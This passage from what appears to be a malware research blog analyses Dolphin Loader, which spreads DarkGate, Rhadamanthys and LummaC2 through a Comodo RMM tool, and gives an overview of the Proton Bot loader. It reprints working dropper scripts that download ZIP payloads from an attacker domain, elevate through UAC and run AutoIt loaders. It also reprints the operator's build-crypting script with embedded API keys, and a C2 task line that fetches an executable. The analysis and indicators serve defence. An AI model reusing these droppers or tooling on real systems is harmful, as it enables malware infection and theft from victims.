\'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip\'\n    zip_filename = os.path.basename(zip_url)\n    folder_name = os.path.splitext(zip_filename)[0]\n\n    temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n    zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n    extract_to = temp_folder\n\n    if not os.path.exists(os.environ[\'TEMP\']):\n        os.makedirs(os.environ[\'TEMP\'])\n\n    print(\"Downloading file...\")\n    download_file(zip_url, zip_path)\n\n    if os.path.exists(zip_path):\n        print(\"File exists after download.\")\n    else:\n        print(\"File did not download successfully.\")\n        exit()\n\n    if not os.path.exists(extract_to):\n        os.makedirs(extract_to)\n\n    print(\"Extracting file...\")\n    unzip_file(zip_path, extract_to)\n\n    # \331\205\330\263\333\214\330\261 \332\251\330\247\331\205\331\204 \330\250\331\207 AutoIt3.exe \331\210 script.a3x \331\276\330\263 \330\247\330\262 \330\247\330\263\330\252\330\256\330\261\330\247\330\254\n    autoit_path = os.path.join(extract_to, \'AutoIt3.exe\')\n    script_path = os.path.join(extract_to, \'script.a3x\')\n\n    print(\"Running command...\")\n    if os.path.exists(autoit_path) and os.path.exists(script_path):\n        run_as_admin(autoit_path, [script_path])\n    else:\n        print(\"Error: AutoIt3.exe or script.a3x not found after extraction.\")\n\n    time.sleep(60)\n\n    print(\"Cleaning up...\")\n    cleanup(zip_path, extract_to)\n\n    print(\"Done\")\n"
        launcherId: 0
        runner {
          type: LOGGED_IN
        }
        profileId: 53
        isHiddenUser: false
      }
    }
  }
  runOnProfileApply: true
  requiredInternet: false
  procedureType: SCHEDULED
  endTimeSettings {
    type: UNTILL_MAINTENANCE_WINDOW_END
    value: 0
  }
}

We will quickly clean up the script:

import os
import urllib
import zipfile
import subprocess
import time
import shutil
import ctypes
import sys


class DisableFileSystemRedirection:
    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection

    def __enter__(self):
        self.old_value = ctypes.c_long()
        self.success = self._disable(ctypes.byref(self.old_value))

    def __exit__(self, type, value, traceback):
        if self.success:
            self._revert(self.old_value)


def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except Exception:
        return False


def run_as_admin(command, params):
    try:
        if not is_admin():
            print("Restarting script with admin rights...")
            params = ' '.join(params)
            ctypes.windll.shell32.ShellExecuteW(None, "runas", command, params, None, 1)
            sys.exit(0)
        else:
            print("Running command with admin rights:", command, params)
            result = subprocess.call([command] + params, shell=True)
            if result != 0:
                print("Command failed with return code:", result)
            else:
                print("Command executed successfully.")
    except Exception as e:
        print("Failed to elevate to admin. Error:", e)
        sys.exit(1)


def download_file(url, save_path):
    try:
        request = urllib.urlopen(url)
        with open(save_path, 'wb') as f:
            while True:
                chunk = request.read(100 * 1000 * 1000)  # 100 MB chunks
                if not chunk:
                    break
                f.write(chunk)
        print("File downloaded successfully and saved to {}.".format(save_path))
        file_size = os.path.getsize(save_path)
        print("Downloaded file size: {} bytes.".format(file_size))
    except Exception as e:
        print("Error downloading file:", e)
        sys.exit(1)


def unzip_file(zip_path, extract_to):
    try:
        with DisableFileSystemRedirection():
            with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                zip_ref.extractall(extract_to)
                print("File extracted successfully to {}".format(extract_to))
    except zipfile.BadZipFile:
        print("File is not a valid zip file")
    except Exception as e:
        print("Error extracting file:", e)
        sys.exit(1)


def cleanup(file_path, folder_path):
    try:
        if os.path.exists(file_path):
            os.remove(file_path)
            print("Removed file: {}".format(file_path))
        if os.path.exists(folder_path):
            shutil.rmtree(folder_path)
            print("Removed folder: {}".format(folder_path))
    except Exception as e:
        print("Error during cleanup:", e)


if __name__ == "__main__":
    command = sys.executable
    params = sys.argv

    run_as_admin(command, params)

    zip_url = 'http://comodozeropoint.com/Updates/1736162964/23/Salome.zip'
    zip_filename = os.path.basename(zip_url)
    folder_name = os.path.splitext(zip_filename)[0]

    temp_folder = os.path.join(os.environ['TEMP'], folder_name)
    zip_path = os.path.join(os.environ['TEMP'], zip_filename)
    extract_to = temp_folder

    if not os.path.exists(os.environ['TEMP']):
        os.makedirs(os.environ['TEMP'])

    print("Downloading file...")
    download_file(zip_url, zip_path)

    if os.path.exists(zip_path):
        print("File exists after download.")
    else:
        print("File did not download successfully.")
        exit()

    if not os.path.exists(extract_to):
        os.makedirs(extract_to)

    print("Extracting file...")
    unzip_file(zip_path, extract_to)

    autoit_path = os.path.join(extract_to, 'AutoIt3.exe')
    script_path = os.path.join(extract_to, 'script.a3x')

    print("Running command...")
    if os.path.exists(autoit_path) and os.path.exists(script_path):
        run_as_admin(autoit_path, [script_path])
    else:
        print("Error: AutoIt3.exe or script.a3x not found after extraction.")

    time.sleep(60)

    print("Cleaning up...")
    cleanup(zip_path, extract_to)

    print("Done")

From the script above we can observe the following:

The script initially checks if it is executing with administrative privileges by utilizing the IsUserAnAdmin() function from the Windows API. If it detects that it is running without these privileges, it attempts to restart itself with elevated rights. This elevation process is achieved by invoking the ShellExecuteW function from the Windows Shell API, using the “runas”. This prompts the User Account Control (UAC) to ask the user for permission to run the script as an administrator.
The script retrieves a ZIP archive from comodozeropoint.com/Updates/1736162964/23/Salome[.]zip, extracts the content of the archive (an AutoIt executable and the malicious script name script.a3x) under the %TEMP% folder and executes an AutoIt file. We will look at the obfuscation of the AutoIt scripts later in this blog.
After the execution of the AutoIt file, the script sleeps for a minute before removing the ZIP archive and the extracted files.

The content of the second is the following, note that the name of the procedure is “Dolphin1” and the procedure is repeated on a daily basis:

msgScheduledTaskList {
  scheduledTaskId: "scheduled_6"
  msgSchedule {
    repeat: DAILY
    start: 1723334400
    time: "20:30"
  }
  msgProcedureSet {
    procedureSetId: "475"
    alertHandlerId: "1"
    msgProcedureList {
      procedureId: "475"
      pluginType: Python_Procedure
      msgProcedureRule {
        name: "Dolphin1"
        script: "import os\nimport urllib2\nimport zipfile\nimport subprocess\nimport shutil\nimport ctypes\nimport time\n\nclass disable_file_system_redirection:\n    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection\n    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection\n\n    def __enter__(self):\n        self.old_value = ctypes.c_long()\n        self.success = self._disable(ctypes.byref(self.old_value))\n\n    def __exit__(self, type, value, traceback):\n        if self.success:\n            self._revert(self.old_value)\n\ndef download_file(url, save_path):\n    try:\n        headers = {\'User-Agent\': \'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\'}\n        request = urllib2.Request(url, headers=headers)\n        response = urllib2.urlopen(request)\n        with open(save_path, \'wb\') as f:\n            f.write(response.read())\n        print(\"File downloaded successfully.\")\n    except urllib2.HTTPError as e:\n        print(\"HTTP Error: \", e.code)\n    except urllib2.URLError as e:\n        print(\"URL Error: \", e.reason)\n    except Exception as e:\n        print(\"Error downloading file: \", e)\n\ndef unzip_file(zip_path, extract_to):\n    try:\n        with disable_file_system_redirection():\n            with zipfile.ZipFile(zip_path, \'r\') as zip_ref:\n                zip_ref.extractall(extract_to)\n                print(\"File extracted successfully.\")\n    except zipfile.BadZipfile:\n        print(\"File is not a zip file\")\n    except Exception as e:\n        print(\"Error extracting file: \", e)\n\ndef run_command(command, cwd):\n    try:\n        proc = subprocess.Popen(command, shell=True, cwd=cwd)\n        proc.communicate()\n    except Exception as e:\n        print(\"Error running command: \", e)\n\ndef cleanup(file_path, folder_path):\n    try:\n        if os.path.exists(file_path):\n            os.remove(file_path)\n        if os.path.exists(folder_path):\n            shutil.rmtree(folder_path)\n    except Exception as e:\n        print(\"Error during cleanup: \", e)\n\nif __name__ == \"__main__\":\n    zip_url = \'http://comodozeropoint.com/Requests/api/Core.zip\'\n    zip_filename = os.path.basename(zip_url)\n    folder_name = os.path.splitext(zip_filename)[0]\n\n    temp_folder = os.path.join(os.environ[\'TEMP\'], folder_name)\n    zip_path = os.path.join(os.environ[\'TEMP\'], zip_filename)\n    extract_to = temp_folder\n\n    if not os.path.exists(os.environ[\'TEMP\']):\n        os.makedirs(os.environ[\'TEMP\'])\n\n    print(\"Downloading file...\")\n    download_file(zip_url, zip_path)\n\n    if os.path.exists(zip_path):\n        print(\"File downloaded successfully.\")\n    else:\n        print(\"File did not download successfully.\")\n        exit()\n\n    if not os.path.exists(extract_to):\n        os.makedirs(extract_to)\n\n    print(\"Extracting file...\")\n    unzip_file(zip_path, extract_to)\n\n    print(\"Running command...\")\n    command = \'AutoIt3.exe script.a3x\'\n    run_command(command, extract_to)\n\n    print(\"Waiting for 1 minute before cleanup...\")\n    time.sleep(60)\n\n    print(\"Cleaning up...\")\n    cleanup(zip_path, extract_to)\n\n    print(\"Done\")\n"
        launcherId: 0
        runner {
          type: LOGGED_IN
        }
        profileId: 53
        isHiddenUser: false
      }
    }
  }
  runOnProfileApply: false
  requiredInternet: true
  procedureType: SCHEDULED
  endTimeSettings {
    type: UNTILL_MAINTENANCE_WINDOW_END
    value: 0
  }
}

The cleaned-up Python script:

import os
import urllib.request
import zipfile
import subprocess
import shutil
import ctypes
import time

class FileSystemRedirection:
    _disable = ctypes.windll.kernel32.Wow64DisableWow64FsRedirection
    _revert = ctypes.windll.kernel32.Wow64RevertWow64FsRedirection

    def __enter__(self):
        self.old_value = ctypes.c_long()
        self.success = self._disable(ctypes.byref(self.old_value))
        return self.success

    def __exit__(self, type, value, traceback):
        if self.success:
            self._revert(self.old_value)

def download_file(url, save_path):
    try:
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        }
        request = urllib.request.Request(url, headers=headers)
        response = urllib.request.urlopen(request)
        with open(save_path, 'wb') as f:
            f.write(response.read())
        print("File downloaded successfully.")
    except urllib.error.HTTPError as e:
        print("HTTP Error:", e.code)
    except urllib.error.URLError as e:
        print("URL Error:", e.reason)
    except Exception as e:
        print("Error downloading file:", e)

def unzip_file(zip_path, extract_to):
    try:
        with FileSystemRedirection():
            with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                zip_ref.extractall(extract_to)
                print("File extracted successfully.")
    except zipfile.BadZipFile:
        print("File is not a zip file")
    except Exception as e:
        print("Error extracting file:", e)

def run_command(command, cwd):
    try:
        proc = subprocess.Popen(command, shell=True, cwd=cwd)
        proc.communicate()
    except Exception as e:
        print("Error running command:", e)

def cleanup(file_path, folder_path):
    try:
        if os.path.exists(file_path):
            os.remove(file_path)
        if os.path.exists(folder_path):
            shutil.rmtree(folder_path)
    except Exception as e:
        print("Error during cleanup:", e)

if __name__ == "__main__":
    zip_url = 'http://comodozeropoint.com/Requests/api/Core.zip'
    zip_filename = os.path.basename(zip_url)
    folder_name = os.path.splitext(zip_filename)[0]

    temp_folder = os.path.join(os.environ['TEMP'], folder_name)
    zip_path = os.path.join(os.environ['TEMP'], zip_filename)
    extract_to = temp_folder

    if not os.path.exists(os.environ['TEMP']):
        os.makedirs(os.environ['TEMP'])

    print("Downloading file...")
    download_file(zip_url, zip_path)

    if os.path.exists(zip_path):
        print("File downloaded successfully.")
    else:
        print("File did not download successfully.")
        exit()

    if not os.path.exists(extract_to):
        os.makedirs(extract_to)

    print("Extracting file...")
    unzip_file(zip_path, extract_to)

    print("Running command...")
    command = 'AutoIt3.exe script.a3x'
    run_command(command, extract_to)

    print("Waiting for 1 minute before cleanup...")
    time.sleep(60)

    print("Cleaning up...")
    cleanup(zip_path, extract_to)

    print("Done")

This script differs from the initial Python script by constructing an HTTP request with an explicitly set User-Agent header, and it retrieves a ZIP archive that is different from the first Python script.

While I was researching the commands sent to the RMM server, I stumbled upon TrendMicro blog that mentioned the RMM abuse.

AutoIt Analysis

Extracting the Salome.zip file, we notice a malicious AutoIt script named “script.a3x” and the AutoIt executable. Using AutoIt script decompiler, we can get the insight into what the script is actually doing.

The encrypt function shown in the screenshot above takes a hexadecimal string and a key wkxltyejh, and decrypts the data using a custom method (I know, the function name is deceiving). It begins by converting the hex string into binary data. Then, it computes an altered key by XORing the ordinal value of each character in the key with the key’s length. The altered key is then used to decrypt the binary data byte by byte, so each byte of the data is XORed with the altered key, and then bitwise NOT is then applied to invert the bits.

The decrypted strings are responsible for changing the protection on a region of memory to PAGE_EXECUTE_READWRITE and loading the payload into the memory. The script also leverages the EnumWindows callback function thanks to DllCall function, which allows the script to interact directly with Windows DLL, to execute malicious code, using a function pointer that directs to the payload.

One of the payloads extracted from the AutoIt script is DarkGate. The XOR key wkxltyejh is also used as a marker to split up the DarkGate loader, the final payload (SectopRAT) and the DarkGate encrypted configuration. Interestingly enough, the DarkGate configuration is not encoded with custom-base64 alphabet like in the previous samples and is rather encrypted with the XOR algorithm described above.

Here is the Python script to decrypt the data:

def decrypt(data, key):
    value = bytes.fromhex(data)
    key_length = len(key)
    encrypted = bytearray()
    key_alt = key_length
    
    for char in key:
        key_alt = key_alt ^ ord(char)
    for byte in value:
        encrypted_byte = ~(byte ^ key_alt) & 0xFF  
        encrypted.append(encrypted_byte)
    return encrypted
  
enc_data = ""  # Encrypted data
enc_key = "" # XOR key
dec_data = decrypt(enc_data, enc_key)
print(f"Decrypted data: {dec_data}")

The DarkGate configuration:

2=RrZBXNXw - xor key 
0=Dolphin2 - campaign ID 
1=Yes - Process Hollowing injection enabled
3=Yes - PE injection (MicrosoftEdgeUpdate or msbuild.exe) (0041A9A8) 
5=No - process injection via Process Hollowing with nCmdShow set to SW_HIDE
6=No - pesistence via registry run key 
7=No - VM check (1)
8=No - VM check (2)
9=No - Check Disk Space  
10=100 - minimum disk size 
11=No - Check RAM
12=4096 - minimum RAM size 
13=No - check Xeon
14=This is optional 
15=Yes 
16=No 
18=Yes

Let’s take a brief look at the DarkGate sample. This sample is slightly different from other ones because this sample is lacking some features like credential stealing, AV detection, screenshot capture, etc. This sample only has the capabilities to inject the final payload into another process and that’s pretty much it.

The loader checks if it’s running with an argument “script.a3x” and if it’s not the loader displays an “Executing manually will not work” to the user and terminates itself. If the loader fails to read “script.a3x”, the message box “no data” will be displayed. So, make sure to add script.a3x as an argument in the debugger.

The second malicious AutoIt script from “Core.zip” drops the Rhadamanthys stealer.

The DarkGate configuration for the second payload is similar to the previous one.

The Power of Opendir

So, I’ve noticed that there is an open directory at comodozeropoint[.]com/Updates/, which belongs to the Dolphin Loader developer. I found a script hosted on that domain called “updater.py” particularly interesting:

import os
import configparser
import requests
import pyminizip
import pyzipper
import schedule
import time

encryption_api_key = "h8dbOGTYLrFLplwiNZ1BLl3MhnpZCmJY"
encryption_server_address_packlab = "http://194.87.219.118/crypt"
encryption_server_address_easycrypt = "http://another.server.address/crypt"
api_url = "https://apilumma1.fun/v1/downloadBuild"

def read_autocrypt_ini(file_path):
    config = configparser.ConfigParser()
    temp_config_path = file_path + ".tmp"

    with open(file_path, 'r') as original_file, open(temp_config_path, 'w') as temp_file:
        for line in original_file:
            line = line.split('#')[0].strip()  
            if line:  
                temp_file.write(line + '\n')

    config.read(temp_config_path)
    os.remove(temp_config_path)

    settings = {
        'auto_crypt': config.getboolean('Settings', 'auto_crypt', fallback=False),
        'auto_crypt_time': config.getint('Settings', 'auto_crypt_time', fallback=0),
        'crypt_service': config.get('Settings', 'crypt_service', fallback=''),
        'lumma_stealer': config.getboolean('Settings', 'lumma_stealer', fallback=False),
        'lumma_api_key': config.get('Settings', 'lumma_api_key', fallback=''),
        'lumma_build_zip_password': config.get('Settings', 'lumma_build_zip_password', fallback=''),
        'filename': config.get('Settings', 'filename', fallback=''),
        'chatid': config.get('Settings', 'chatid', fallback='')
    }
    return settings

def download_and_extract_zip(api_url, api_key, save_path, zip_password, filename):
    url = f'{api_url}?access_token={api_key}'
    response = requests.get(url)
    zip_file_path = os.path.join(save_path, f'{filename}.zip')

    with open(zip_file_path, 'wb') as f:
        f.write(response.content)

    with pyzipper.AESZipFile(zip_file_path, 'r') as zip_ref:
        zip_ref.extractall(path=save_path, pwd=zip_password.encode('utf-8'))

    os.remove(zip_file_path)
    print(f"Downloaded and extracted files to: {save_path}")
    
    # پیدا کردن فایل استخراج شده
    extracted_file_path = None
    for file in os.listdir(save_path):
        if file.endswith('.exe'):
            extracted_file_path = os.path.join(save_path, file)
            break

    if not extracted_file_path:
        raise FileNotFoundError(f"Extracted file not found in: {save_path}")
    
    return extracted_file_path

def encrypt_file(input_path, service):
    try:
        with open(input_path, 'rb') as file:
            files = {'build.exe': file}
            headers = {'Authorization': encryption_api_key}
            if service == 'Packlab':
                response = requests.post(encryption_server_address_packlab, headers=headers, files=files)
            elif service == 'Easycrypt':
                response = requests.post(encryption_server_address_easycrypt, headers=headers, files=files)

        if response.status_code == 200:
            return response.content
        else:
            raise Exception(f"Error: {response.status_code}, {response.text}")
    except requests.exceptions.RequestException as e:
        raise Exception(f"An error occurred: {e}")

def create_encrypted_zip(file_path, save_path, filename, password):
    zip_file_path = os.path.join(save_path, f'{filename}.zip')
    pyminizip.compress(file_path, None, zip_file_path, password, 5)
    print(f"Encrypted zip file created at: {zip_file_path}")

def process_user_folders(root_folder):
    for user_folder in os.listdir(root_folder):
        user_folder_path = os.path.join(root_folder, user_folder)
        if os.path.isdir(user_folder_path):
            for slot_folder in os.listdir(user_folder_path):
                slot_folder_path = os.path.join(user_folder_path, slot_folder)
                if os.path.isdir(slot_folder_path):
                    ini_file_path = os.path.join(slot_folder_path, 'autocrypt.ini')
                    if os.path.exists(ini_file_path):
                        settings = read_autocrypt_ini(ini_file_path)
                        
                        if not settings['auto_crypt']:
                            print(f"Skipping {slot_folder_path} because auto_crypt is False")
                            continue

                        try:
                            if settings['lumma_stealer']:
                                extracted_file_path = download_and_extract_zip(api_url, settings['lumma_api_key'], slot_folder_path, settings['lumma_build_zip_password'], settings['filename'])
                            else:
                                raise Exception("Lumma stealer is disabled")
                        except Exception as e:
                            print(f"Error with Lumma stealer: {e}")
                            last_build_folder = os.path.join(slot_folder_path, '__LASTBUILD__')
                            if os.path.isdir(last_build_folder):
                                for file in os.listdir(last_build_folder):
                                    if file.endswith('.exe'):
                                        extracted_file_path = os.path.join(last_build_folder, file)
                                        break
                                else:
                                    print(f"No executable found in {last_build_folder}")
                                    continue
                            else:
                                print(f"No __LASTBUILD__ folder found in {slot_folder_path}")
                                continue

                        if settings['crypt_service'] == 'Packlab':
                            encrypted_file_content = encrypt_file(extracted_file_path, 'Packlab')
                        elif settings['crypt_service'] == 'Easycrypt':
                            encrypted_file_content = encrypt_file(extracted_file_path, 'Easycrypt')
                        else:
                            print(f"Unknown crypt_service: {settings['crypt_service']}")
                            continue
                        
                        # ذخیره فایل رمزنگاری شده
                        encrypted_file_path = os.path.join(slot_folder_path, f'{settings["filename"]}.exe')
                        with open(encrypted_file_path, 'wb') as encrypted_file:
                            encrypted_file.write(encrypted_file_content)
                        
                        print(f"Encrypted file saved to: {encrypted_file_path}")

                        # ایجاد فایل زیپ رمزنگاری شده
                        create_encrypted_zip(encrypted_file_path, slot_folder_path, settings['filename'], settings['chatid'])

def job():
    input_folder = r'C:\xampp\htdocs\Updates'  # Change this to your input folder path
    process_user_folders(input_folder)

if __name__ == "__main__":
    # اجرای اولیه برنامه
    job()

    # زمان‌بندی اجرای هر 3 ساعت یکبار
    schedule.every(1).hours.do(job)
    
    while True:
        schedule.run_pending()
        time.sleep(1)

So, if you recall from the Telegram ads about the Dolphin Loader mentioned earlier in this article, the developer offers free AutoCrypt every hour. This script is responsible for that. The developer uses Packlab and Easycrypt crypter services to encrypt LummaC2 payloads through APIs.

The autocrypt.ini file contains the LummaC2 payload generation settings:

[Settings]
auto_crypt = True # True or False
crypt_service = Packlab # Packlab, Easycrypt, ReflectiveDLLInjection
lumma_stealer = True # True or False
lumma_api_key = lumma_cisCPnGijULUMgUaOhPLOvmT_G4BGCIFsor2q48lWSWZpRAn7-MSjqSLSfJFmbKJyG7gNOl3UnVHt1jpSTHLzg
lumma_build_zip_password = 940e6692
filename = pentameral
chatid = 6012068394
tag = DolphinTag

Conclusion

It was interesting to see developers leveraging legitimate Remote Monitoring and Management (RMM) tools to distribute malware with minimal effort yet demanding substantial fees for the product.

Blue teamers should monitor for the execution of suspicious AutoIt scripts and process injections targeting RegAsm.exe, msbuild.exe, MicrosoftEdgeUpdate.exe, and updatecore.exe, especially when these processes originate from RMM tools as parent processes. Additionally, it’s important to examine the log files of RMM tools for any metadata that could suggest malicious activity.

Indicators of Compromise

Name	Indicators
Aunteficator_em_BHdAOse8_installer_Win7-Win11_x86_x64.msi	f740670bd608f6a564366606e0bba8da
em_Kia5weA1_installer_Win7-Win11_x86_x64.msi	a295cf96ebabdfa1d30424e72ed6d4df
em_8azU2ahn_installer_Win7-Win11_x86_x64.msi	a2b4081e6ac9d7ff9e892494c58d6be1
Salome.zip	5b295738eaf3c6aa623e2699f6d79e3a
script.a3x (Salome.zip)	a504ca75b88e18b18509cb44acb27631
Core.zip	8259de1408aae0f9ddeb85b2f47cfa30
script.a3x (Core.zip)	91584a4b3f28029ecdfb9f04e3cc801f
Rhadamanthys	f227b281d745d53fcb06fe2bf7de7d26
DarkGate loader	a674a4ac02d85b5b208f17a5b5655c30
Rhadamanthys C2	95.217.44.124
SectopRAT	45.141.87.55
LummaC2	quialitsuzoxm[.]shop
LummaC2	complaintsipzzx[.]shop
LummaC2	mennyudosirso[.]shop
LummaC2	pieddfreedinsu[.]shop
LummaC2	languagedscie[.]shop
LummaC2	bassizcellskz[.]shop
updater.py	d01de188808d566745d1ce888b431910
autocrypt.ini	0f8f5de30b3560e08fcbfdb8e740748d
RMM instance URL	richardmilliestpe.itsm-us1.comodo[.]com
RMM instance URL	itstrq.itsm-us1.comodo[.]com

Overview of Proton Bot, another loader in the wild!

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with “loader” tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made.

Since a few months, another dedicated loader malware appears from multiple sources with the name of “Proton Bot” and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1.

Sold 50$ (with C&C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it’s worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux & Decrux.

[Disclamer: This article is not a deep in-depth analysis]

Analyzed sample

1AF50F81E46C8E8D49C44CB2765DD71A [Packed]
4C422E9D3331BD3F1BB785A1A4035BBD [Unpacked]

Something that I am finally glad by reversing this malware is that I’m not in pain for unpacking a VM protected sample. By far this is the “only one” that I’ve analyzed from this developer this is not using Themida, VMprotect or Enigma Protector.

So seeing finally a clean PE is some kind of heaven.

Behavior

When the malware is launched, it’s retrieving the full path of the executed module by calling GetModuleFilename, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted.

This call is an alternative to GetCommandLine on this case.

On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis…

Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it’s finally achieved and executed with a simple ShellExecuteA call.

With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions :

If paths are different

Making an HTTP Request on “http://iplogger.org/1i237a” for grabbing the Bot IP
Creating a folder & copying the payload with an unusual way that I will explain later.
Executing proton bot again in the correct folder with CreateProcessA
Exiting the current module

if paths are identical

two threads are created for specific purposes
1. one for the loader
2. the other for the clipper
At that point, all interactions between the bot and the C&C will always be starting with this format :

/page.php?id=%GUID%

%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value “fdff340f-c526-4b55-b1d1-60732104b942”.

Summary

Mutex

dsks102d8h911s29

Loader Path

%APPDATA%/NvidiaAdapter

Loader Folder

Schedule Task

Process

A unique way to perform data interaction

This loader has an odd and unorthodox way to manipulate the data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module.

The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF).

For those who aren’t familiar with this, there is an example here :

CreateTransaction is called for starting the transaction process
The requested task is now called
If everything is good, the Transaction is finalized with a commit (CommitTransaction) and confirming the operation is a success
If a single thing failed (even 1 among 10000 tasks), the transaction is rolled back with RollbackTransaction

In the end, this is the task list used by ProtonBot are:

This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It’s a matter time now to hotfix and adjusts this behavior for having better results.

The API used has been also used for another technique with analysis of the banking malware Osiris by @hasherezade

Anti-Analysis

There are three main things exploited here:

Stack String
Xor encryption
Xor key adjusted with a NOT operand

By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that Predator the thief is abusing above v3 version.

The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin.

Loader Architecture

The loader is divided into 5 main sections :

Performing C&C request for adding the Bot or asking a task.
Receiving results from C&C
Analyzing OpCode and executing to the corresponding task
Sending a request to the C&C to indicate that the task has been accomplished
Repeat the process [GOTO 1]

C&C requests

Former loader request

Path base

/page.php

Required arguments

Argument	Meaning	API Call / Miscellaneous
id	Bot ID	RegQueryValueExA – MachineGUID
os	Operating System	RegQueryValueExA – ProductName
pv	Account Privilege	Hardcoded string – “Admin”
a	Antivirus	Hardcoded string – “Not Supported”
cp	CPU	Cpuid (Very similar code)
gp	GPU	EnumDisplayDevicesA
ip	IP	GetModuleFileName (Yup, it’s weird)
name	Username	RegQueryValueExA – RegisteredOwner
ver	Loader version	Hardcoded string – “1.0 Release”
lr	???	Hardcoded string – “Coming Soon”

Additional fields when a task is completed

Argument	Meaning	API Call / Miscellaneous
op	OpCode	Integer
td	Task ID	Integer

Task format

The task format is really simple and is presented as a simple structure like this.

Task Name;Task ID;Opcode;Value

Tasks OpCodes

When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.

OpCode	Feature
1	Loader
2	Self-Destruct
3	Self-Renewal
4	Execute Batch script
5	Execute VB script
6	Execute HTML code
7	Execute Powershell script
8	Download & Save new wallpaper
9	???
10	???
11	???
12 (Supposed)	DDoS

For those who want to see how the loader part looks like on a disassembler, it’s quite pleasant (sarcastic)

the joy of C++

Loader main task

The loader task is set to the OpCode 1. in real scenario this could remain at this one :

newtask;112;1;http://187.ip-54-36-162.eu/uploads/me0zam1czo.exe

This is simplest but accurate to do the task

Setup the downloaded directory on %TEMP% with GetTempPathA
Remove footprints from cache DeleteUrlCacheEntryA
Download the payload – URLDownloadToFileA
Set Attributes to the file by using transactions
Execute the Payload – ShellExecuteA

Other features

Clipper

Clipper fundamentals are always the same and at that point now, I’m mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff.

The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&C for setting-up this :

/page.php?id=%GUID%&clip=get

The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:

[
  id,             # ID on C&C
  name,           # ID Name (i.e: Bitcoin)
  regex,          # Regular Expression for catching the Wallet
  attackerWallet  # Switching victim wallet with this one
]

At first, I thought, there is a request to the C&C when the clipper triggered a matched regular expression, but it’s not the case here.

On this case, the attacker has decided to target some wallets:

Bitcoin
Dash
Litecoin
Zcash
Ethereum
DogeCoin

if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (Megumin & Qulab).

DDos

Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks

Executing scripts

The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.

Deobfuscating the selected format (.bat on this case)
Download the script on %TEMP%
Change type of the downloaded script
Execute the script with ShellExecuteA

Available formats are .bat, .vbs, .ps1, .html

Wallpaper

There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end

Setup the downloaded directory on %TEMP% with GetTempPathA
Remove footprints from cache DeleteUrlCacheEntryA
Download the image – URLDownloadToFileA
Change the wallpaper with SystemParametersInfosA

On this case the structure will be like this :

BOOL SystemParametersInfoA ( 
      UINT uiAction  -> 0x0014 (SPI_SETDESKWALLPAPER)
      UINT uiParam   -> 0
      PVOID pvParam  -> %ImagePath%
      UINT fWinIni   -> 1
);

I can’t understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it 🙂

Example in the wild

A few days ago, a ProtonBot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It’s enough to suggest that it is used by some business already started with this one.

Notable malware hosted and/or pushed by this Proton Bot

Qulab
ProtonBot 🙂
CoinMiners
C# RATs

